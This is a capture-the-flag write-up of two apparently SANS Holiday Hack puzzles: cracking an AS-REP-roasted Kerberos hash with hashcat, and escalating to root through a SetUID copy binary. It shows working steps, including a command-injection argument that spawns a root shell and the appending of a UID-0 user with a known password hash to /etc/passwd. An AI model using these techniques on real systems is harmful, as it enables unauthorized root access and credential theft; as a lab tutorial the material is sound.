Getting To

While on the Island of Misfit Toys, I’ll stop by Scaredy Kite Heights at the nose of the goose:


Location Layout

There is a mountain pass where I’ll find Eve Showshoes and the Hashcat terminal, as well as the Ostrich Saloon:

image-20240102064940368Click for full size image

Inside the Saloon, there’s Rose Mold with the Linux Privesc terminal:




The objective is to help Eve recover a password:


Eve says:

Eve Snowshoes

Eve Snowshoes

Greetings, fellow adventurer! Welcome to Scaredy-Kite Heights, the trailhead of the trek through the mountains on the way to the wonderful Squarewheel Yard!

I’m Eve Snowshoes, resident tech hobbyist, and I hear Alabaster is in quite the predicament.

Our dear Alabaster forgot his password. He’s been racking his jingle bells of memory with no luck.

I’ve been trying to handle this password recovery thing parallel to this hashcat business myself but it seems like I am missing some tricks.

So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?


The terminal starts with a poem:

In a realm of bytes and digital cheer,
The festive season brings a challenge near.
Santa’s code has twists that may enthrall,
It’s up to you to decode them all.

Hidden deep in the snow is a kerberos token,
Its type and form, in whispers, spoken.
From reindeers’ leaps to the elfish toast,
Might the secret be in an ASREP roast?

hashcat, your reindeer, so spry and true,
Will leap through hashes, bringing answers to you.
But heed this advice to temper your pace,
-w 1 -u 1 --kernel-accel 1 --kernel-loops 1, just in case.

For within this quest, speed isn’t the key,
Patience and thought will set the answers free.
So include these flags, let your command be slow,
And watch as the right solutions begin to show.

For hints on the hash, when you feel quite adrift,
This festive link, your spirits, will lift:

And when in doubt of hashcat’s might,
The CLI docs will guide you right:

Once you’ve cracked it, with joy and glee so raw,
Run /bin/runtoanswer, without a flaw.
Submit the password for Alabaster Snowball,
Only then can you claim the prize, the best of all.

So light up your terminal, with commands so grand,
Crack the code, with hashcat in hand!
Merry Cracking to each, by the pixelated moon’s light,
May your hashes be merry, and your codes so right!

  • Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer .*

At the bottom it gives the challenge.



The home directory has three files:

elf@33e08d37f7c6:~$ ls
HELP  hash.txt  password_list.txt

HELP has the message that is printed when the terminal opens. hash.txt is the hash to crack. password_list.txt is the list of passwords to check:

elf@33e08d37f7c6:~$ wc -l password_list.txt 
143 password_list.txt
elf@33e08d37f7c6:~$ head password_list.txt 

They seem to all be variations on “ILoveCandyCanes!2023”.

Identify Hash

The Hashcat examples hashes page is something I’ve cited many times. In this case, I’ll note that the hash to crack starts with $krb5asrep$23$ and then what looks like a username:


Searching for that in the page finds the ID 18200, Kerberos 5, etype 23, AS-REP:


This is the type of hash that comes back when a user doesn’t have the pre-auth required bit set, meaning that an unauthenticated user to the domain can request their hash (challenge response) and try to crack their password, a process known as AS-REP-Roasting. The Impacket script will identify these users and return a hash.

Crack In Terminal

Typically I would now hashcat [hash file] [wordlist]. Recent versions of hashcat can automatically detect the hash format and handle this just fine. However, in the terminal, it’s a bit restricted, due to an older hashcat and limited memory / hardware.

-m 18200 will tell hashcat what format to try to crack, but I still get an error:

elf@33e08d37f7c6:~$ hashcat -m 18200 hash.txt password_list.txt        
hashcat (v5.1.0) starting...

* Device #1: Not a native Intel OpenCL runtime. Expect massive speed loss.
             You can use --force to override, but do not report related errors.
No devices found/left.

This is a common error I get when trying to crack in a virtualized environment. --force will push past that:

elf@80a4bb218db2:~$ hashcat -m 18200 hash.txt password_list.txt --force
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
* Device #1: pthread-Intel(R) Xeon(R) CPU @ 2.80GHz, 8192/30063 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=16 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
* Device #1: Kernel m18200_a0-pure.d7bc3268.kernel not found in cache! Building may take a while...

It errors out, as it runs out of resources. The poem at the start mentioned this, and suggested adding -w 1 -u 1 --kernel-accel 1 --kernel-loops 1. Without --force, it shows these as outdated:

elf@80a4bb218db2:~$ hashcat -m 18200 hash.txt password_list.txt -w 1 -u 1 --kernel-accel 1 --kernel-loops 1
The manual use of the -n option (or --kernel-accel) is outdated.

Please consider using the -w option instead.
You can use --force to override this, but do not report related errors.

However, with --force, it will run, and crack the hash in ~5 seconds:

elf@80a4bb218db2:~$ hashcat -m 18200 hash.txt password_list.txt -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 --force
hashcat (v5.1.0) starting...
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2...dd1966
Time.Started.....: Tue Jan  2 18:16:17 2024 (0 secs)
Time.Estimated...: Tue Jan  2 18:16:17 2024 (0 secs)
Guess.Base.......: File (password_list.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1277 H/s (0.78ms) @ Accel:1 Loops:1 Thr:64 Vec:16
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 144/144 (100.00%)
Rejected.........: 0/144 (0.00%)
Restore.Point....: 0/144 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-0
Candidates.#1....: 1LuvCandyC4n3s!2022 -> iLuvC4ndyC4n3s!23!

Started: Tue Jan  2 18:16:14 2024
Stopped: Tue Jan  2 18:16:19 2024

The password, “IluvC4ndyC4nes!” is there. I can also run with the hash file and --show to get it again (at the very end of the line):

elf@80a4bb218db2:~$ hashcat -m 18200 hash.txt --show

Crack With Updated Hashcat

Alternatively, I can copy the hash and wordlist back to my host, and run a newer version of hashcat:

$ hashcat hash.text password_list.txt 
hashcat (v6.2.6) starting in autodetect mode
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

18200 | Kerberos 5, etype 23, AS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

As there’s no -m, it auto-detects the correct hash format, and then cracks it.


Eve Snowshoes

Eve Snowshoes

Aha! Success! Alabaster will undoubtedly be grateful for our assistance.

Onward to our next adventure, comrade! Feel free to explore this whimsical world of gears and steam!

Linux Privesc


The objective in my badge has to do with Linux PrivEsc:


Rose Mold provides the context:

Rose Mold

Rose Mold

What am I doing in this saloon? The better question is: what planet are you from?

Yes, I’m a troll from the Planet Frost. I decided to stay on Earth after Holiday Hack 2021 and live among the elves because I made such dear friends here.

Whatever. Do you know much about privilege escalation techniques on Linux?

You’re asking why? How about I’ll tell you why after you help me.

And you might have to use that big brain of yours to get creative, bub.

The terminal greets me with another poem:

In a digital winter wonderland we play, Where elves and bytes in harmony lay. This festive terminal is clear and bright, Escalate privileges, and bring forth the light.

Start in the land of bash, where you reside, But to win this game, to root you must glide. Climb the ladder, permissions to seize, Unravel the mystery, with elegance and ease.

There lies a gift, in the root’s domain, An executable file to run, the prize you’ll obtain. The game is won, the challenge complete, Merry Christmas to all, and to all, a root feat!

  • Find a method to escalate privileges inside this terminal and then run the binary in /root *

Simple. Just get root.


Identify SetUID Binary

There are only so many ways to pivot from one user to another on Linux. A very common one is sudo, but it isn’t installed on this container. Another way is SetUID (or SetGID) binaries. These will run as their owner (or group) regardless of what user starts the process.

I’ll use the find command to look for binaries owned by the root user that have the SetUID bit on (-perm -4000). I’m also using -ls to get full details about the results and 2>/dev/null to throw away any errors (as a non-privileged user trying to access every directory on the system, there will be lots):

elf@7807611665cd:/opt$ find / -user root -perm -4000 -ls 2>/dev/null
  1312417     84 -rwsr-xr-x   1 root     root        85064 Nov 29  2022 /usr/bin/chfn
  1312423     52 -rwsr-xr-x   1 root     root        53040 Nov 29  2022 /usr/bin/chsh
  1312541     56 -rwsr-xr-x   1 root     root        55528 May 30  2023 /usr/bin/mount
  1312546     44 -rwsr-xr-x   1 root     root        44784 Nov 29  2022 /usr/bin/newgrp
  1312620     68 -rwsr-xr-x   1 root     root        67816 May 30  2023 /usr/bin/su
  1312484     88 -rwsr-xr-x   1 root     root        88464 Nov 29  2022 /usr/bin/gpasswd
  1312645     40 -rwsr-xr-x   1 root     root        39144 May 30  2023 /usr/bin/umount
  1312557     68 -rwsr-xr-x   1 root     root        68208 Nov 29  2022 /usr/bin/passwd
  1457015     20 -rwsr-xr-x   1 root     root        16952 Dec  2 22:17 /usr/bin/simplecopy

All but one of these are standard SetUID binaries. simplycopy stands out as unusual. If I wasn’t familiar with what binaries are normal, it would also stand out for being way newer than any other binaries in this last. I could also check the hash of the binary (md5sum /usr/bin/simplecopy) and search for that in VirusTotal. The fact that it’s never been uploaded before suggests it’s not a standard Linux binary.


simplycopy without any arguments prints help showing that it takes a source and destination:

elf@7807611665cd:~$ simplecopy 
Usage: simplecopy <source> <destination>

Because it runs as root, I’m able to copy files I can’t access:

elf@7807611665cd:~$ simplecopy /etc/shadow .
elf@7807611665cd:~$ ls -l shadow 
-rw-r----- 1 root root 526 Jan  2 18:39 shadow

But it doesn’t change the permissions on the resulting file, so I can’t access the copies either.

Exploit Command Execution

The easiest way to exploit this binary is via a command injection vulnerability. It seems like simplycopy is just calling cp. I’ll try putting a ; in one of the arguments:

elf@7807611665cd:~$ simplecopy '/etc/shadow;' .
cp: missing destination file operand after '/etc/shadow'
Try 'cp --help' for more information.

The error comes from cp! What seems like is happening is that simplycopy is calling cp [source] [dest], and when I put a ; in the source, it leads to:

cp /etc/shadow; .

To test this hypthosis, I’ll try another:

elf@7807611665cd:~$ simplecopy /etc/shadow '/dev/nul; id'
uid=0(root) gid=0(root) groups=0(root),1000(elf)

It ran the id command! I think that likely ran:

cp /etc/shadow /dev/nul; id

It copies shadow into /dev/nul (nothing), and then runs id.

I’ll do the same thing replacing id with bash and get a shell as root:

elf@7807611665cd:~$ simplecopy /etc/shadow '/dev/nul; bash'

Modify /etc/passwd

While simplecopy doesn’t give me the ability to read files, it does give me the ability to write them. A simple way to leverage this into root access is by changing /etc/passwd.

openssl isn’t in the container, but on my host I can generate a valid password hash for a known password:

oxdf@hacky$ $ openssl passwd -1 0xdf0xdf

I’ll make a copy of /etc/passwd where I can write:

elf@f6d83c81ca18:~$ cp /etc/passwd .
elf@f6d83c81ca18:~$ ls -l passwd
-rw-r--r-- 1 elf elf 961 Jan  2 19:06 passwd

Now I’ll add a user with user and group id 0, and then copy passwd back into /etc with simplecopy:

elf@f6d83c81ca18:~$ echo 'oxdf:$1$Ffp8Mho8$f/YI91pQ6Vm7DBE5cFKb8.:0:0:pwned:/root:/bin/bash' >> passwd 
elf@f6d83c81ca18:~$ simplecopy passwd /etc/passwd

Now when I su as oxdf, and give the password “0xdf0xdf”, it returns a shell as root:

elf@f6d83c81ca18:~$ su - oxdf


Rose has a tip for me:

Rose Mold

Rose Mold

Yup, I knew you knew. You just have that vibe.

To answer your question of why from earlier… Nunya!

But, I will tell you something better, about some information I… found.

There’s a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.

The area is supposed to have something on it that’s totes worth, but I hear all the bad vibe toys chill there.

That’s all I got. K byyeeeee.

Ugh… n00bs…